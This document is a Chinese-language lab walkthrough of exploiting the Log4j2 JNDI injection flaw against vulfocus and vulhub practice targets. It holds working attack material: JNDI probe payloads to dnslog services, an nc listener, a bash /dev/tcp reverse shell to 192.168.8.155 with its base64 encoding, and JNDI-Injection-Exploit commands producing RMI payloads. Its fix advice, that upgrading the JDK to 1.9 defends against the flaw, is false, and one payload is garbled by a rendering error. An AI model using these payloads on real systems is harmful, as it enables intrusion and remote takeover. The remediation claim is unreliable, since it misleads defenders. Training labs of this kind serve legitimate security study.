漏洞原理:由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。漏洞修复: log4j2基于jdk1.8,将jdk升级为1.9及以上即可防御、打修复补丁、关闭jndi服务攻击机环境的jdk环境可以是任意的,但要根据自己的环境选择生成的payload(rmi或者ldap)Log4j2基础:Log4j 是一款开源 Java 日志记录工具。日志记录主要用来监视代码中变量的变化情况,周期性的记录到文件中供其他应用进行统计分析工作;跟踪代码运行时轨迹,作为日后审计的依据;担当集成开发环境中的调试器的作用,向文件或控制台打印代码的调试信息。Jndi基础:JNDI(Java Naming and Directory Interface,Java命名和目录接口),是Java提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象 。JNDI由三部分组成:JNDI API、Naming Manager(将服务名称和对象关联起来,前端只知道名字然后通过其去执行后台的程序)、JNDI SPI。1.拉取vulfocus官方docker容器
(1) 启动docker服务
systemctl start docker
(2) 拉取vulfocus靶场
docker pull vulfocus/vulfocus:latest


(3) 启动vulfocus靶场
docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.21.135 vulfocus/vulfocus
访问localhost或虚拟机ip即可
用户名admin 密码admin

docker ps 查看Vulfocus是否启动
systemctl stop firewalld 记得关闭防火墙



2.下载vulfocus离线包,docker-compose启动
(1) 启动docker服务systemctl start docker(2) 下载vulfocus靶场git clone https://github.com/fofapro/vulfocus.git vulfocus-master 下载vulfocus
(3) 启动vulfocuscd vulfocus-master 进入vulfocus-master目录下docker-compose up -d 使用docker-compose拉取启动vulfocus靶场



访问localhost或虚拟机IPsetenforce 0然后重启docker即可访问用户名admin 密码admin

下载log4j2镜像在左侧镜像管理里搜索log4j2进行下载


再次点击下载,查看下载进度



访问地址:192.168.8.154:25019


(1)dnslog原理DNSlog就是储存在DNS上的域名相关的信息,它记录着你对域名或者IP的访问信息,也就是类似于日志文件。
首先了解一下多级域名的概念,我们知道因特网采用树状结构命名方法,按组织结构划分域是一个名字空间中一个被管理的划分,域可划分为子域,子域再可被划分为多级域名称为一级域名,二级域名,三级域名,从一个域名地址来从右到左依次是顶级域名,二级域名,三级域名,例如
gaobai.kxsy.com,通俗的说就是我有个域名kxsy.work,我将域名设置对应的ip 2.2.2.2
上,这样当我向dns服务器发起kxsy.work的解析请求时,DNSlog中会记录下他给kxsy.work解析,解析值为2.2.2.2,而我们这个解析的记录的值就是我们要利用的地方,这个过程被记录下来就是DNSlog。
(2)在线的dnslog平台
(3)利用dnslog测试是否有漏洞
http://192.168.8.154:25019/hello?payload=${jndi:ldap://1pdzy7.dnslog.cn/exp}
将payload后的命令进行url编码后进行访问,得到回显



查看得到回显确认存在漏洞

攻击机kali(192.168.8.155 ) 开始nc监听7777端口
nc -lvvp 7777

bash -i >& /dev/tcp/192.168.8.155/7777 0>&1 反弹shell命令
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTU1Lzc3NzcgMD4mMQ== base64编码

这个安装在kali上面的jndi服务器是利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来启动起来的,启动参数包括-C是执行的bash命令,-c参数后面是执行的具体命令,用双引号引起来 -A 指服务器的IP,这里注意已经把反弹shell命令用base64编码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTU1Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.8.155执行命令之后 生成可用payload
利用payload开始攻击,获得反弹shellrmi://192.168.8.155:1099/xnkw4m
${jndi:rmi://192.168.8.155:1099/xnkw4m}http://192.168.8.154:25019/hello?payload=${jndi:rmi://192.168.8.155:1099/xnkw4m}%24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%31%39%32%2e%31%36%38%2e%38%2e%31%35%35%3a%31%30%39%39%2f%78%6e%6b%77%34%6d%7d
http://192.168.8.154:39277/hello?payload=%24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%31%39%32%2e%31%36%38%2e%38%2e%31%35%35%3a%31%30%39%39%2f%78%6e%6b%77%34%6d%7d

返回监听查看,我们已经拿到shell了,然后利用find命令查找获得flag值find / -name flag*flag-{bmh1acf67ad-fe35-421b-a64b-6440c0ca55b7}

比如log4j2用dnslog测试是否有洞 找到靶场的注入点,我们可以发现/solr/admin/cores?这里有个参数可以传参数
利用dnslog构造pyload来判断是否存在log4j2漏洞,用dnslog为ceye.io
构造的pyload:cores?action=KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.i913n8.ceye.io}
DNSLog辅助命令盲注回显在攻击不回显漏洞时大有作用,这能够帮助攻击者确定漏洞是否存在、是否能被进一步利用。
当然还有structs2-052漏洞利用dnslog回显判定是否有漏洞
1.进入vulhub找到log4j,进入CVE-2021-44228目录下
docker-compose up -d


docker ps查看靶机是否启动

2.访问地址192.168.8.152:8983

3.利用dnslog构造pyload来判断是否存在log4j2漏洞,利用burp抓包随意抓包,现在[dnslog.cn](http://dnslog.cn/)上获得一个域名

将请求包内容改成如下
admin/cores?action=${jndi:ldap://${sys:java.version}.l92fod.dnslog.cn}

可以看到确实存在log4j2漏洞

反弹shell需要使用JNDIExploit.v1.2
使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具,执行以下命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTU1Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.8.155


根据官方文件可以得知 Collections 的调用参数

我们可以设想通过可控的 Collections 来进行 JNDI注入,路径为/solr/admin/collections?action=1

${jndi:rmi://192.168.8.155:1099/gkuohu}
这里得到回显,但是我监听不到,可能是跟我的java环境11有关系


